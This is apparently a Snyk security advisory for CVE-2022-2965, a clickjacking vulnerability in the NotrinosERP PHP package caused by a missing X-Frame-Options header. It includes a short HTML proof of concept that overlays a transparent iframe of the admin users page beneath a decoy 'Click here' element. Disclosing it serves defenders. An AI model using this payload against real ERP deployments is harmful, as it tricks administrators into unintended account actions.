Improper Restriction of Rendered UI Layers or Frames Affecting notrinos/notrinos-erp package, versions >=0.0.0


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.07% (33rd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PHP-NOTRINOSNOTRINOSERP-2990945
  • published24 Aug 2022
  • disclosed24 Aug 2022
  • creditAkshay Ravi

Introduced: 24 Aug 2022

CVE-2022-2965  (opens in a new tab)
CWE-1021  (opens in a new tab)

How to fix?

A fix was pushed into the master branch but not yet published.

Overview

notrinos/notrinos-erp is a web-based enterprise management system that is written in PHP and MySql. NotrinosERP contains all the required modules for running any small to medium size businesses. It supports multi users, multi currencies, multi languages.

Affected versions of this package are vulnerable to Improper Restriction of Rendered UI Layers or Frames due to the x-frame-options header not being set, allowing an attacker to perform a clickjacking attack.

PoC:

<style>
    iframe {
        position:relative;
        width:1200px;
        height: 650px;
        opacity: 0.4;
        z-index: 2;
    }
    div {
        position:absolute;
        top:183px;
        left:880px;
        z-index: 1;
    }
</style>
<div>Click here</div>
<iframe src="http://127.0.0.1:4445/admin/users.php?"></iframe>

References

CVSS Scores

version 3.1